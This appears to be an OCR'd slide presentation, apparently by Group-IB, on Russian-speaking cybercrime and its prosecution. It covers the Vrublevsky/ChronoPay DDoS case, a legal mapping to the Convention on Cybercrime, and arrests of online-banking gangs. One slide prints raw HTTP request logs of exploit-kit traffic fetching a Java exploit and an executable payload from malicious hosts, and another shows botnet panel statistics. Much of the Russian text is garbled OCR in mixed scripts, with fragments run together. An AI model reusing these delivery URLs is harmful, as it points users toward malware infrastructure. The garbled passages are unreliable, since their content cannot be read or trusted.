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Digital Crimes in Russia
and Criminal Prosecution
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Group-IB is Acquisition International Creation of Dedicated Certified
founded by Leta Group Expansion CERT-GIB Professionals

;s t“\ 60+

l\_)----_--(\__)'__--- e 2012
2003 2010 2011 2011

Stages of Sustainable Solid Development

@ Leader on the @ Service package @ Skolkovo resident @ First 24/7 CERT in
Russian market Pre-incident consulting; The CyberCop project, an Eastern Europe
The first and only Response; integrated system for CERT-GIB is the first
company in the CIS Foren_5|cs_; counteracting cybercrime. private Computer
providing comprehensive Investigation; Emergency Response
services in investigating Legal support; Team in Russia..

IT security incidents. Post-incident consulting.
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A report on the results of a
comprehensive study of the state of
the Russian-speaking cybercrime
market:

v Financial performance
estimates;

v Analysis of the main trends and
threats;

v' Overview of key events;
v Legal aspects;

v Forecasts.



Russian-Speaking Market G DUDIiB‘

v" Russian Federation
v CIS
v’ Baltic states

v' Immigrants from former
USSR
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Measure of economic damage to the end user
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CERT-GIB
CERT-GIB Vladivostok:
Moscow: GMT+10-.
CERT-GIB GMT+4-..
NewYork: T
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CERT-GIB: Europe, North America, Asia
First 24/7 CERT in Around-the-clock geographical @ Providing help and @ .RU, .P®, .SU: special
Eastern Europe deployent assistance for: emphasis
CERT-GIB is the first Eastern Passing the relay for monitoring, Phishing, Spam, Scam, DDoS Official ccTLD.ru-assigned
European 24/7 Computer analyzing, and mitigating: attacks, malware, and many expert organization for
Emergen.cy Res‘ponse Tearp, Europe =» North America = Asia other fraudulent schemes handling phishing, malware,
and the first private CERT in — for smooth uninterrupted and botnets

Russia (second overall) incident handling
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SITEMAP FEEDBACK CONTACTS

COORDINATION CENTER _ '
FOR TLD RU/Pq) Registered domain names .RU

3.836.124

PYC gy L_:‘ Msin / Acoredited registrars / Competent Organizations print version _
ABOUT COORDINATION CENTER Competent Organizations
DOMAINS

The League for Safer Internet

ACCREDITED REGISTRARS
As per the Agreement, the organization’s area of expertise includes combating negative online content, especially child pornography.
@ Competent Organizations The League for Safer Internet is one of the most effective non-governmental organizations counteracting negative online content. Over
the past ten months more than 20,000 reports were received regarding online child pornography resources. After processing these

OFFICIAL DOCUMENTS . Lo 3 .
reports, more than 8,000 websites containing unlaw ful content were removed. Interaction regulations.
NEWS
Contacts
STATISTICS
Group-IB

As per the Agreement, the organization’s area of expertise includes combating the use of demain names for the purposes of phishing,
unauthorized access to third-party information systems, malware distribution, and controlling botnets. Group-IB is a nongovernmental
el O'.’ organization providing information security incident investigation.

Subscribe news

Contacts
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Authorized user of |
the “CERT” trademark Tl-listed

TRUSTED

& AUTHORIZED

TO USE CERT”

Accreditation in progress

st AAPCERT
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CONVENTION

VI'OJIOBHBIN
ON CYBERCRIME KOMEKC
POCCHUMCKOU
@ OEJEPALIA
T RUSSIAN CRIMINAL
LAW




Harmony

CONVENTION
ON CYBERCRIME

Article 3 — lllegal interception

Article 4 — Data interference

Article 5 — System interference
Article 6 — Misuse of devices

Article 7 — Computer-related forgery
Article 8 — Computer-related fraud

Article 9 — Offences related to child
pornography

Article 10 — Offences related to
infringements of copyright and related
rights

RUSSIAN CRIMINAL
LAW

Article 138, 272, 274
Article 272, 273, 274
Article 272, 273, 274
Article 138.1, 273

Article 272, 273, 274
Article 158-160, 165, 272, 273, 274
Article 242.1, 242.2

Article 146, 180

GRDUPli



Pavel Vrublevsky (RedEye) G DUF"iBI

‘@g CHRONOPAY

CEO of Chronopay,

Support all popular
payment methods

v Member of the Antispam Working
Group at the Russian Ministry of
Communication;

v’ Chairman of the Russian Committee on
Electronic Commerce;

v Member of the Russian Association of
Electronic Communications.
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Porn affiliation programs:

cash.pornocruto.es
etu-cash.com




Pavel Vrublevsky (RedEye) G:*OU:"Bl

Crutop.nu: the largest spammer forum
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Pharmaceutical affiliate program:
RX-promotion.com




DDoS Attack on Assist
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. Hello there! If you are new here, you might want to subscribe to
b‘\j the RSS feed for updates on this topic.
You may also subscribe by email in the sidebar —

60 ‘ Russian authorities on Thursday arrested Pavel Vrublevsky, co-founder of
tweets |

ChronoPay;, the country’s largest processor of online payments, for allegedly hiring
a hacker to attack his company’s rivals.
retweet g

Vrublevsky, 32, is probably best known as
the co-owner of the Rx-Promotion rogue
online pharmacy program. His company
also consistently has been involved in
credit card processing for — and in many
cases setting up companies on behalf of —
rogue anti-virus or “scareware” scams that
use misleading PC security alerts in a bid
to frighten people into purchasing
worthless security software.

An undated photo of Vrublevsky
Russian state-run news organizations are

reporting that Vrublevsky was arrested on
June 23. Financial Times reporter Joe Menn writes that Vrublevsky was ordered held
without bail and a hearing was set for a month’s time.

As I reported earlier this week, Vrublevsky fled the country after the arrest of a suspect who
confessed that he was hired by Vrublevsky to launch a debilitating cyber attack against Assist,
a top ChronoPay competitor. According to Russian news organizations, the ChronoPay
executive wanted to sideline rival payment processing firms who were competing for a
lucrative contract to process payments for Aeroflot, Russia’s largest airline. Sources close to
the investigation said Vrublevsky was arrested at the Sheremetievo airport outside of Moscow
as he returned from a trip to the Maldives.

The arrest comes just 24 hours after authorities seized computers and servers in the United
States and seven other countries this week as part of an ongoing investigation of a hacking gang
that stole $7

on via scareware scams

ASSIST

ADPOMNOT o~

‘w Poccuidickue asunanmHmnm

Accused of organizing a DDoS attack
on Assist, a payment processing
company (Accused executor of the
attack: Igor Artimovich)
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* KoHTakTHas nHdopMaLmua

FTEHEPAJIbHAA NMPOKYPATYPA
POCCUMHACKOM dEAEPALIMUA

[naeHas CTpaHMLE HoeocTu HoeocTu npokypeTyp cybeektos denspaumn ZamecTutens MNenepanssoroe npokypopa Pocowickon Penepaynn Bukrop IpuHe Hanpaewn B cya yronoexoe geno ob
yHbiwnessor Gnoxknposannt paboTel CHETEMEB! ONNaTe! W NprobpeTennn anexTporHbx Gunetos na caiite OAD «AspodunoTs

HOBOCTH

03.05.2012

3amecTuTene MeHepaneHoro npokypopa Poccnickold ®egepaunn Buktop MPHHE HANPaBWA B cy4 YyronoBHoe geno o6 yMbIWNeHHoOM
GNOKMPOBAaHMK PaGoTkl CUCTEMEI ONNaTel M NPHOGPETEHUA 3NeKTPOHHLIX GMNeToB Ha canTe OAD «AspodnoTs

3amMecTTens MeHepaneHoro NpoKypopa Pocowickol Degepaw BukTop MowHe yTEEpAWA 00BMHMTENEHOE SAKIKIUEHWE NO YTONOBHOMY AENY B oTHOWeHWM MNasna Bpybnesakoro, Makoma Meprakoea,
Bpatees Mropa v AmuTpra ApTUMOBEMUYER, OHM 00BMHAOTCA B COBEPLUEHMM MPECTYTIIASHMIA, MPEayCMOTPERHEX Y. 2 cT, 272 YK PO (HenpasomMepHEIR A0CT YN K KOMMEKITEPHOM MHGQOPMELUWM, NPMHMHWELLIMA
KPYMHBIA ywepd) uy, 1cr. 273 ¥K PO (cosaaHue, WaNonb30BaHWE M PACNPOCTPEHEHWE BPEAOHOCHEIX KOMMEHOTEPHEIX NPOrpamt),

PaccnegoBaHKen No 4eny YCTaHOENEHD, 4To BpyOnesckmi, AENAACE reHepantHEM aMpexTopom 3AC <XpoHonsiis:, B Hadane wona 2010 r. pewnn NPeanpHHATE MEPEI K PESPEIEY KOHTPaKTa mexgy OAD
«AzpodnoT» n 000 <AcoucT» off oKasaHuM yonyr no Npodake INEKTPOHHBIX EBWME0MNETOB, YCTPAHME TEM CEAMEIM KOHKYPEHTa CEOSH QMpPMbl B AaHHOM chepe, [nA sToro oH B r. Mockee cosgan
OPraHM30BaHHYID TPYNNY, KyAa MOMMMO HEMD BOWMW MOAYMHEHHBIA My BEedYLLMA elManucT cnymbbl WHGOopMaLMoHHOW BesonacHocTk MepMaAKoB, & Takwe DpaTeA ADTMMOBMY, 3aHMMABLMECA
OKA33HWEM XaKEPOKHX YOIyT,

PyKOBOAA YKa3aHHOW OpraHn30BaHHOA rpynnoi, BpyBneecasd B mione 20101, yepes MepMAKOBa NOCTABMN 3aaaqy BpaTeAM APTHMOBMY, MMEIOLWMM B NONb30BAHMK COSAAHHYHKD MMM JKE C MIMOMBE30BaHHEM
BPEAOHOCHBIX NMPOrPEMM CEThb 3aPEMEHHBIX KOMNboTepoE (Bot-ceThk), NPOM3BECTH XaKepoKylo aTaKy Ha caiT OAQ «AspodnoT» No npodase HuneToB. 3a yKasaHHele AefcTBWA BpybneBcu Beldenun
fEeHEWHEIE CDEACTBE NPeANpUATIA B pasmepe Bonee 20 Teic. gonnapos CLUA, koTopkie MepMAKOE No MEPE HEOBXOAMMOCTI NEpeYMCTIMN BpaTbaM ApTIMoBIUY 38 paboTy.

ADTUMOBMYM, BLINDAHAA NONYYEHHOE YKa3aHWE, HAX0AACk B ChEMHOW KBApTHPE B I, MokBe, M AeRCTBYS CO CBDEro HOYTOYKE, MMEIDILEro NOAKMKYEHUE K CBTW MHTEpHET B nepwod c 15 no 24 wona
2010 r. OCYWECTBMNN KoMNBoTEPHYO DdoS-aTaky (Tuna «oTkas B obcnywuBaHM:) Ha MHOOPMALMOHHEIE pecypcbl 000 «ACCMCT *, KOTOPaA 3aKMYanack B 0AHOMOMEHTHOM OOPAELLEHMM MHOKECTBA
KOMMEIOTEPOS, BXOAALLMX B Bot-ceTh, € 3anpocoM Ha oBcnywMBaHWE,

OCYWECTENEHME AGHHON KOMMBIOTEPHON 3TaKK NPUBENO K GnokupoBaHMio paboTel CACTEMEI ONNaTel M NPUOBPETEHMA SNEKTPOHHEIX BUneTos Ha calfTe OAQ «AspodnoT: Ha BECk NEPMOA aTakK W1
MPHYKMHEHIHD MOTEPREBIWMM GMPMEN KPYNHOro MaTepMansHoro ywepba: 000 «ACOMCT S —Ha CyMMy okono 15 MaH. py6., 0AQ «AspodinoTs — Ha CyMMy cBbIwe 146 MaH.pyh.

YronoBHoE AENno paccneaosaHo CneacTBEHHEIM YNpaEneHuen deaepansHoi cnyxbil besonacHocTi Pocouiickoll Defepaim.
Mocne yTEepAEHUA 0OBMHUTENEHOMO 3EKMKOYEHMA YTONOBHDE AEN0 HANPABENEHD B TYWMHOKKMA PaioHHEI cya r. MockBbl ANA PACCMOTPEHWMA NO CYLLECTEY.

Mogpazaenesne: [EHEDSMEHIR M T




Maxim Glotov (Two-Face) G

Accused of committing fraud, unauthorized

OuU

access to computer information, and

creating and distributing malware
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Method of Propagation GROUR|IB

BCE CAMTHI Perncrpauns Bxon

Poccuilickue | o komnanun MPECC-LIEHTP WHBECTOPAM TEHJEPbI KOHTAKTHI

p’ yRene3Hble gopozau

NMACCAXXWUPAM TIPY3OBbIE NEPEBO3KW COTPYAHUKAM MOJIOAEXHbIN

NMONCK

NMACCAXHNPAM CTPYKTYPA

PACNWNCAHMWE, HANTWYUE
MECT, NOKYTNKA GUIETOB

» PyKOBOACTBO

» LeHTpanbHblii annapat

» duanansi

» [oYepHWe U 33BUCUMbIE
obuiecTBa

» [pegcTaevTensCcTea 23
pybexon

OTKyaa

Kyaa

26.03.2012, NoHepent o Bce crpyxryps OAO "PA" (*

HOBOCTU KOMINAHUN AEATENIbHOCTb

Mou saxazm »
)3.2012 | 14:23 » P ceroaHsa

Becuarnnit 6mner B kuno : R a e . .
peem Gyxrarrepasm : - G 2 "PXA" obecnokoeHo cuTyaumen, » I xenesHoaopoXHbIA

HOAYHUTL »

33HHOW C YBENWUEHMENM KONMUYECTBE cbes3a

43€B TPDABMUDPOBAHWA AETEN HA
>
\EKTaX UHDDACTDYKTYDLI KOMOHWN. WHHoBaLmn

» HascTpeuy Coun 2014
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e A kel N GET http://rzd-rzd.ru/vb/ HTTP/1.1
GET http://rzd-rzd.ru/vb/ HTTP/1.1
GET http://rzd-rzdcomp.in/rzd5/buble.php?key=rtgddfg%26u=root HTTP/1.1
GET http://rzd-rzdcomp.in/rzd5/buble.php?key=rtgddfg%26u=root HTTP/1.1
GET http://3244923625/jb/av34v.class HTTP/1.1
SSINESEE GET http://3244923625/jb/av34v.class HTTP/1.1
- GET http://3244923625/jb/av34v.class HTTP/1.1
* GET http://3244923625/jb/av34v.class HTTP/1.1

o

Bee craren no or9eTHOCTH
B JIEKTPOHHOM #HypHasie «['nmaBbyx»

e 1) [ osocn GET http://3244923625/jb/av34v.class HTTP/1.1
vl —— . GET http://3244923625/jb/av34v.class HTTP/1.1

B EWHRTE: Bage

gt susweoen cmscrearanus < GE T Wttp://rzd-rzdcomp.in/rzd5/exe.php?exp=newjava%26key=rtgddfg%26u=root HTTP/1.1
GET http://rzd-rzdcomp.in/rzd5/exe.php?exp=newjava%26key=rtgddfg%26u=root;1 HTTP/1.1
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Results of the Investigation G DUD|i3|
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v" Joint investigation in close cooperation with the
~SB and MVD of the Russian Federation and
~FOX-IT;

v Results of the investigation is the detention of
the criminal group (8 persons);

v World’s first case when the entire online-banking
criminal chain was arrested.
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Maexnaa bBorbl 3aganua  Jlorn O@unbTppl  Kab dalinm  Keinorep Hactpodiki [Monb3oBarenu

] [cravvens]

bortoe Bcero:
BOTOB OHANAVH:
BOTOB BCEro HOBbLIX:
HOTOB BCEro AKTUBHDIX:
bortos 3a 24 yaca:
boToB 3a 7 AHel:
bBotoe 3a 1 mecay:

Pa3smep BAl {undpa boros ):

CraTucTuka bortos
69874 (4.53%)
124017 (8.03%)
1413982 (91.58%)
129510 (8.39%)
204787 (13.26%)
652746 (42.28%)

383,93 MB 13 256 TB (0.00%)
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Results of the Investigation

v" Joint investigation in close
cooperation with the MVD of the
Russian Federation, Sberbank
and ESET,;

v Results of the investigation is
the detention of the criminal
group (6 persons).




Conclusion = OUDIB|

v Two of six active groups arrested;
v"Remaining four groups are under investigation;

v'Law enforcement officials are becoming more interested in
such crimes;

v'With proper support, at least three criminal groups can be
neutralized within eight months;

v"We expect a surge in theft, including from individuals, in June
and July 2012.
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Deputy CEQ
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